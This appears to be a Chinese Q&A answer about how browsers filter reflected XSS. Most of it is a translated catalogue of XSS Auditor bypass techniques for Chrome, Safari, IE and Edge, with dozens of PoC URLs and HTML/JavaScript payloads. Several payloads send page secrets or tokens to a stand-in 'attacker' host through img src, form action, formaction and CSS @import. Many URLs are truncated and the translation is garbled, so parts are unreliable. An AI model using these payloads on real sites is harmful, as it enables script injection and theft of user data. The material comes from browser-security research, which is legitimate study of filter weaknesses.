Chrome 是怎么过滤反射型 XSS 的呢?

关注者
351
被浏览
10,752

XSS,即跨站脚本攻击,是Web程序中常见的漏洞,其原理是恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会自动执行,从而达到恶意攻击用户的目的。为了防止这些恶意攻击的发生,现在用户所使用的浏览器内核中一般都有XSS Filter(除Firefox外)。

众所周知,XSS共有三种类型,分别是:反射型、存储型和DOM Based XSS。接下来就为大家简单介绍一下这三种类型的XSS。

第一类:反射型XSS,当我们在访问一个网页的时候,在URL后面加上一定的参数,浏览器变会返回不同的执行结果。但如果我们在IE/Chrome/Safari中尝试这种操作,浏览器可能会显示以下消息:“为帮助阻止跨站点脚本,已修改此页面。”,窗口也无法弹出。这就体现出了浏览器内核中Filter的功能。

第二类:存储型XSS,它常见于支持用户互动的Web应用,如微博、留言板等。用户提交到应用程序里的数据会永久性的保存在后端数据库中,如果没有经过HTML编码,当用户浏览了包含恶意代码的页面之后(这个页面通常是用户会主动访问的页面),便会受到相应攻击,这也使得存储型XSS比反射型XSS更不易被识别。

第三类:DOM Based XSS,首先,用户请求一个包含JavaScript的特殊URL,会由攻击者提交。然后服务器响应里不会包含攻击者的脚本,当用户的浏览器处理该响应时,这段攻击代码被前端JS里的DOM处理操作引发。它与反射型XSS类似,都需要由攻击者设计一个包含恶意代码的URL并诱导用户访问,再经浏览器响应恶意代码执行后的操作。

XSS Auditor,是一个被加入在了浏览器内核中的安全功能。本篇将为大家讲述如何绕过浏览器中的 XSS Auditor 进行脚本攻击,希望能给大家一些帮助,主要是在Chrome/ Safari/IE11/ Edge浏览器中进行操作的。

发生在一个字符串中的XSS

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
<script>var q="";alert(1)//"</script>

URL单独成立的XSS(如输入值直接进入a标签的href部分)

vulnerabledoma.in/bypas

<a href="javascript:alert(1)">Link</a>

页面有2个以上的注入点

https://vulnerabledoma.in/bypass/text?type=2&amp;amp;amp;amp;q=%60-alert(1)%3C/sc

ript%3E%3Cscript%3E%60

<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>

字符串的相关操作

当字符串的一部分被替换或删除时,它不能被切断并放置在字符串之间。

被删除时的payload:

https://vulnerabledoma.in/bypass/text?type=6&amp;amp;amp;amp;q=%3Csvg%20o%3Cscrip

t%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)> 

<svg onload=alert(1)>

被置换时的payload:

https://vulnerabledoma.in/bypass/text?type=7&amp;amp;amp;amp;q=%3Cscript%3E/%26/-alert(1)%3C/s

cript%3E

<script>/&/-alert(1)</script>

<script>/&/-alert(1)</script>

基于DOM 的XSS和其他document.write()的请求字符串

vulnerabledoma.in/bypas

nerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>

在XML页的XSS

https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http:

//w3.org/1999/xhtml%22%3E%3C/script%3E

<?xml version="1.0"?>

<html>

<script xmlns="w3.org/1999/xhtml">alert(1)</script>

</html>

应当指出,写在页面 Content-Type 顶部的字符串如果未被正确的指定,根据Content

Sniffing XML也可以 bypass。

https://vulnerabledoma.in/bypass/text?mime=unknown&amp;amp;q=%3C?xml%20ve
rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh
tml%22%3Ealert(1)%3C/script%3E
<?xml version="1.0"?>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

这里没有脚本,但是有已被允许的说明,它们可能用于一定程度上的攻击。


http(s)∶创建一个链接

https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attac

ker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E

<a href=https://attacker/>Session expired. Please login again.</a>

窃取token

例如,你可以通过使用引号(不关闭一侧)等,则有

可能包含机密信息的请求,如图像的情

况。

https://vulnerabledoma.in/bypass/text?type=8&amp;amp;amp;amp;q=%3Cimg%20src=%22ht

tps://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>

任意 CSS 引用

这样不仅掩盖了页面的外观,而且如果在同一页面上包含的机密信息,只使用CSS便可能获

得此信息。详细参照URL。

参考URL:

businessinfo.co.uk/labsmasatokinugawa.l0.cm/20vulnerabledoma.in/bypas
<style>@import '//attacker/test.css'</style>

<object>和<param name=url/code>的BYPASS (仅Chrome)

攻击可能条件:

1.任何一个可以XSS的标签

2.在目标环境下Flash能利用

参考URL:

masatokinugawa.l0.cm/20

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptac

cess=always%3E%3Cparam%20name=url%20value=l0.cm/xss.swf%3

E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

SVG动画的属性的利用

攻击的可能条件:

1.任何一个可以XSS的标签

参考URL:

bugs.chromium.org/p/chr

PoC(Chrome):

vulnerabledoma.in/bypas

f=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:ale

rt(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E

%3C/a%3E

<svg>
<animate href=#x attributeName=hrefvalues= javascript:alert(1) />
<a id=x><rect width=100 height=100 /></a>

PoC(Safari):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xli

nk%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3

000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3

E%3C/a%3E

<svg xmlns:xlink=http://www.w3.org/1999/xlink>
<animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" />
<a id=x><rect width=100 height=100 /></a>

base标签与Flash的利用(仅Safari)

攻击的可能条件:

1.任何一个可以XSS的标签

2.后面跟有whitespace符号或是单双引号的情况

3.在目标范围当中能够利用此flash

参考URL:

masatokinugawa.l0.cm/20

PoC:

(后面没有whitespace符号的情况)

https://vulnerabledoma.in/bypass/text?type=3&amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

(后面有whitespace的情况)

https://vulnerabledoma.in/bypass/text?type=4&amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

<div> <embed allowscriptaccess=always src=/xss.swf>
<base href="//l0.cm/ </div><div id="x"></div>

加载相对 url 脚本

攻击的可能条件:

1.任何一个可以XSS的标签

2.后面跟有whitespace符号或是单双引号的情况

3.后面有附在相对URL的脚本的部分

PoC:

https://vulnerabledoma.in/bypass/text?type=9&amp;amp;amp;amp;q=%3Cbase%20href=//c

ors.l0.cm/

<div><base href=//cors.l0.cm/</div>
<script src=/test.js></script>

ISO-2022-JP的转义序列的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.此页没有指定的字符编码

参考URL:

bugs.chromium.org/p/chrl0.cm/encodings/test3/

PoC:

vulnerabledoma.in/bypas(B

nload=alert(1)%3E

<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>

(因为※$记号不会像预期的那样自由移动,将通过包含$重定向的方法进行编码)

https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>

链接与base标签的使用

攻击的可能条件:

1.任何一个可以XSS的标签

1.后面跟有whitespace符号的情况

2.后面跟有单双引号的情况

参考URL:

l bugs.chromium.org/p/chr

PoC:

https://vulnerabledoma.in/bypass/text?type=4&amp;amp;amp;amp;q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:\
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>

同一域名资源的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.此页面显示不需要进行查询

PoC:

https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E
PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">

文件上传功能

攻击的可能条件:

1.任何一个可以XSS的标签

2使用同一主机上用户上传的文件作为攻击向量,如,用户头像等。

PoC:

vulnerabledoma.in/bypas
<script src=/bypass/usercontent/xss.js></script>

(仅Chrome)

vulnerabledoma.in/bypas
<link rel=import href=/bypass/usercontent/icon.jpg>

Flash和flashvars的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.相同起源的ExnternalInterface.call()中的参数字符串还未传递到Flash中

3.Flash可在目标环境下利用

补充:

你可以将参数传递给 flashvars 属性,即使Flash 中没有它们的查询参数。(=在Flash方面,它可以在FlashVars传递,即使从URL传递作为XSS的措施,因为要直接打开的参数Flash是有限的。)另外,Content-Security-Policy: default-src 'self'例如,当存在CSP等,它也可以用于绕过CSP。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&amp;amp;amp;amp;q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
<embed name=a flashvars='autoplay=true&file="})\")-
(alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);

Flash中的ExternalInterface.objectID和ExternalInterface.call()的利用

攻击可能的条件:

1.任何一个可以XSS的标签

2.有相同的起源ExternalInterface.objectID中的一个Flash传递到ExternalInterfae.call

3.可在目标环境下利用

补充:

ExternalInterface.objectID是用于嵌入标签的name属性的属性值是由自己设定的,但此时并不能单独使用xss,旁路是唯一的绕过方式。顺便提及,Content-Security-Policy: default-src 'self'例如,当存在这样的CSP的限制,它也可以用于绕过CSP。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&amp;amp;amp;amp;q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call(ExternalInterface.objectID + '_init');

Angular的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.与目标站同源、AngularJS文件存放的主机、CDN下的CORS页面加载AngularJS

补充:

Angular在有ng-app这个属性的标签内想要展开{{}}被包围的模板,此模板能运行该脚本。参考URL:

l blog.portswigger.net/20

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}

在与目标站同源的情况下,有从与CORS相对应的CDN装载Angular的页面,从HTML Imports间接地连接外部origin的资源。

(仅Chrome)

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}


Vue.js的利用

攻击的可能条件:

1.任何一个可以XSS的标签2.

2.与目标站同源、VueJS文件存放的主机、CDN下的CORS页面加载AngularJS3.

3.与目标站同源的可运行的模板的扩展脚本存在于网页或指定的标签

PoC:

(仅Chrome) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}

jQuery的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.与目标站同源、jQuery文件存放的主机、CDN下的CORS页面加载AngularJS

3.与目标站同源的页面上存在着from标签能实行jQuery的系统函数的脚本 补充:

jQuery的附加系统功能:after,before,prepend,append,html,replaceWith,wrap,wrapAll,insertBefore,insertAfter,prependTo,appendTo等。由于使用有ownerDocument这个name属性的形式,Node.在ownerDocument的参照处,不使之实行本来脚本的场面实行的(这样的手法被称为DOM Clobbering而为人所知)。并且,实行前,脚本块<!有删除--的处理和,Auditor绕过发生结合的过程,且不切断此过程。

参考URL:

sirdarckcat.github.io/c

PoC:

https://vulnerabledoma.in/bypass/text?type=5&amp;amp;amp;amp;q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E
<!DOCTYPE html>
<html>
<head>
<script src="/js/jquery-3.2.1.min.js"></script>
<script>$(document).ready(function(){    // code taken from http://api.jquery.com/after/    $( ".container" ).after( $( ".child" ) );});</script>
</head>
<body><!-- XSS -->
<form class=child><input name=ownerDocument><script><!--alert(1)</script></form><!-- XSS -->
<p class="container"></p>
</body><!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html -->
</html>

(仅Chrome)

vulnerabledoma.in/bypas
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>

Underscore.js的利用

攻击的可能条件:

1.任何一个可以XSS的标签

2.与目标站同源、Underscore.js文件存放的主机、CDN下的CORS页面加载AngularJS 3.在同一起源下,可运行的模板的扩展脚本出现在页面上或以指定的脚本标记上

PoC:

(仅Chrome) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/underscore.html%3E%3Cscript%20id=template%3E//%3C%alert&amp;amp;amp;#x60;1&amp;amp;amp;#x60;%%3E%3C/script%3E

<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>

JSX转换脚本,如JSXTransformer/babel-standalone的应用

攻击的可能条件:

1.任何一个可以XSS的标签

2.与目标站同源、Underscore.js文件中存放的JSX变换脚本、CDN下的CORS页面加载AngularJS 补充:

HTML和JS都有注释符<!-- -->,这个trick是利用注释符在<svg>的<script>标签中的时候会被优先处理解析。就是说,在没有<svg>的时候<script><!-- xxx --></script> 会被解析为 JS 注释符,<svg><script><!-- xxx --></script> 会被解析为HTML注释符号。

PoC:

(仅Chrome) https://vulnerabledoma.in/bypass/text?charset=utf-8&amp;amp;amp;amp;type=1&amp;amp;amp;amp;q=%3Clink%20rel=import%20href=/bypass/babel-standalone.html%3E%3Csvg%3E%3Cscript%20type=%22text/jsx%22%3E//%3C!--%0aalert(1)//--%3E%3C/svg%3E%3Cscript%3E0%3C/script%3E

<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--alert(1)//--></svg><script>0</script>

From表单标签的使用

攻击的可能条件:

1.任何一个可以XSS的标签

2.把一个新的from标签的位置,成为现有表单内容的目的地,其中包括机密信息

参考URL:

bugs.chromium.org/p/chr

PoC:

(在这种情况下)https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/"><input type="hidden" name="secret" value="a09d3ef0"><input type="submit"></form>

(不在这种情况下)vulnerabledoma.in/bypas

<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>

IE/Edge的XSS过滤器


不封闭的目标站


XSS字符串测试

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation=&amp;amp;amp;#x27;javascript\x3Aalert\x281\x29&amp;amp;amp;#x27;//
<script>var q="";location='javascript\x3Aalert\x281\x29'//"</script>

所有基于DOM的XSS

vulnerabledoma.in/bypas%3E

<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>

vulnerabledoma.in/bypas%3E

<body>
<script>hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>

vulnerabledoma.in/bypas

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>

此页面有2个以上的注入点的XSS

https://vulnerabledoma.in/bypass/text?type=2&amp;amp;amp;amp;q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22
<div>"src=data:,alert%281%29></script><script x="</div>
<div>"src=data:,alert%281%29></script><script x="</div>

字符串的操作情况

当字符串的一部分被替换或删除,它不能被切断并放置在串之间。 被删除时的payload:上文已提到。

被替换时:

过滤器中,在由正则表达式过滤的位置,在给定的宽度下进行进一步的置换操作时将不会被中断。在以下的情况下,为了避免匹配于所述截止条件<SC{R} IPT。*?>,我们正在使用的操作和过度取代。/是0-3的字符,因为&是0-5字符通配符,8个字符,是可被关闭的最大宽度。安培;;替换字符串长度后/&安培输出为10个字符,它不会被阻止,因为超过了8个字符的宽度。

PoC:

https://vulnerabledoma.in/bypass/text?type=10&amp;amp;amp;amp;q=%3Cscript/%26%3Ealert(1)%3C/script%3E
<script/&>alert(1)</script>

<script/&amp;>alert(1)</script>

以下不是导致脚本执行,描述的是允许的,那些具有潜在用途有所攻击。


Bypass XML namespace伪装的字符串的利用(仅Edge)

攻击的可能条件:

1.任何一个可以XSS的标签

2.在目标环境下Flash可启用

3.X-XSS-Protection:1; mode-block,无header

补充:

Edge附有XML namespace的标签也能封闭。<embed/:script普通的HTML使用中所说的script字符串,本来应该被解释为一个embed标签,也可解释为一个script标签,它无法关闭。由于中断动作将发生,X-XSS-Protection∶附有1; mode-blockheader ,此类情况被视为绕过失败。参考URL:

masatokinugawa.l0.cm/20

PoC:

vulnerabledoma.in/bypas

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>


转义字符串(escape sequence)的利用,如HZ-GB-2312

攻击的可能条件:

1.任何一个可以XSS的标签

2.Content-Typeheader没有指定的字符编码

参考URL:

masatokinugawa.l0.cm/20

PoC:

vulnerabledoma.in/bypas

<x~
onfocus=alert(1) id=a tabindex=0>

在跳转时使用的编码操作

攻击的可能条件:

1.此处是 GET 方式的反射型 XSS

参考URL:

masatokinugawa.l0.cm/20

PoC:

l0.cm/bypass/ie_x-chine
<meta charset=utf-8>
<script>  document.charset="x-chinese-cns";  location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)<\/script/旡"</script>

(当属性值为 XSS 时)

Https://L0.Cm/bypass/ie_x-chinese-cns_attribute.Html
<meta charset=utf-8>
<script>
document.charset="x-chinese-cns";
location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//"
</script>

由于其他字符编码被发送到编码字符串中,并且引起了实际的差异。

l0.cm/bypass/ie_hz_textl0.cm/bypass/ie_hz_attrl0.cm/bypass/ie_iso2022l0.cm/bypass/ie_iso2022

Adobe Acrobat Reader插入的利用(仅IE)

攻击的可能条件:

1.有通过POST请求的XSS 2.在目标环境下使用Adobe Acrobat Reader软件

参考URL:

insert-script.blogspot.com

PoC:

l0.cm/bypass/ie_postxss

XML中的Content Sniffing的利用(仅IE)

攻击可能的条件:

1.任何一个可以XSS的标签

2.X-Content-Type-Options∶没附有nosniff

3.可以从页面顶部描述字符串

参考URL:

twitter.com/0x6D6172696

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E
<?xml version="1.0"?>
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

UTF-7 BOM的使用(仅IE)

攻击的可能条件:

1.可以从页面顶部描述字符串

2.+,/,- 记号能被允许编写

PoC:

(页面没有指定字符编码的情况) https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-

+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-

(页面有指定字符编码的情况)

l0.cm/bypass/ie_utf7.ht
<script>function go(){  window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a");  setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);}</script>
<button onclick=go()>go</button>

<?PXML>使用(仅IE)

攻击的可能条件:

1.有反射型的XSS

2.不出现三个以上的注入点

3.该页面的文档模式是否被设置为IE9或更小,因为框架填充只能设置在IE9及以下。

参考URL:

masatokinugawa.l0.cm/20

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&amp;amp;amp;amp;xuac=9

<?PXML><html:script>alert(1)</html:script>


引用的应用

IE/Edge的XSS过滤器,在同样的域名(包括子域名)或localhost的Referer标头附有的情况下,不驱动XSS过滤器。当你能找到来源的的时候,就可以绕过了。


在同一个域中使用链接功能(包括子域)

攻击可能的条件:

1.有反射型的XSS

2.在同一个域(包括子域)创建XSS的链接页面

PoC:

vulnerabledoma.in/bypasvulnerabledoma.in/bypas

<a href="vulnerabledoma.in/bypas<script>alert(1)</script>">Click HERE</a>


在能制定任意的URL的地方的绕过

攻击可能的条件:

1.链接反射型的XSS可能的地方

补充:

再易受攻击的地方两重链接起来引用、javascript:您可以创建一个链接到一个URL没有XSS过滤器反应。

PoC:

https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
<a href="?q=javascript%3Aalert(1)">Link</a>

能在页面上保持易受攻击的表单发送前的状态

攻击可能的条件:

1. 有反射型的XSS

2. 能在一样的域名(包括子域名)页面上保持易受攻击的表单发送前的状态

PoC:

https://vulnerabledoma.in/bypass/form?q=%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E
<form action="form">
<input type="hidden" name="q" value=""><script>alert(1)</script>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

option 标签的使用

攻击可能的条件:

1.任何一个可以XSS的标签

2.在原有的形式内有那个XSS

参考URL:

html5sec.org/xssfilter/

PoC:

https://vulnerabledoma.in/bypass/form3?q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E
<form action=submit>
<button formaction=form3>CLICK<select name=q><option><script>alert(1)</script>
</form>

空白iframe的使用

攻击可能的条件:

1.任何一个可以XSS的标签

2.允许页面嵌入框架

补充:

XSS创建一个空的iframe,在那个框架上写脚本的URL导航,通过自己易受攻击的域名来绕道。

参考URL:

cracking.com.ar/bugs/20

PoC:

l0.cm/bypass/ieedge_ifr
<!-- Found by @magicmac2000 -->
<iframe onload="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'" src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>

伪装错误的使用(仅Edge)

攻击可能的条件:

1.有反射型的XSS

参考URL:

brokenbrowser.com/refer

PoC:

l0.cm/bypass/edge_refer

formaction的使用(信息的取得)

攻击可能的条件:

1.有反射型的XSS

2.能在含秘密信息的原有形式内容发送前的位置,建立一个新的formaction属性

PoC:

https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E
<form action="form">
<input type="hidden" name="q" value=""><button formaction=//attacker/>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>


style字符串的利用

攻击可能的条件:

1.有反射型的XSS

2.存在可通过CSS攻击的情况

参考URL:

twitter.com/0x6D6172696businessinfo.co.uk/labsblog.innerht.ml/cascadi

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport&amp;amp;amp;#x27;//attacker&amp;amp;amp;#x27;%3C/style%3E
<svg><style>@import'//attacker'</style>
vulnerabledoma.in/bypas
<svg><style>@\0069mport'//attacker'</style>

(IE+IE10模式) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=&amp;amp;amp;quot;behavior%26colon%3Burl(&amp;amp;amp;#x27;/bypass/usercontent/xss.txt&amp;amp;amp;#x27;)&amp;amp;amp;quot;%3Etest&amp;amp;amp;amp;xuac=10

<p style="behavior:url('/bypass/usercontent/xss.txt')">

(IE+IE10模式) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=&amp;amp;amp;quot;behavior:url%26lpar%3B&amp;amp;amp;#x27;/bypass/usercontent/xss.txt&amp;amp;amp;#x27;)&amp;amp;amp;quot;%3Etest&amp;amp;amp;amp;xuac=10

<p style="behavior:url('/bypass/usercontent/xss.txt')"> 

·

参考:masatokinugawa/filterbypass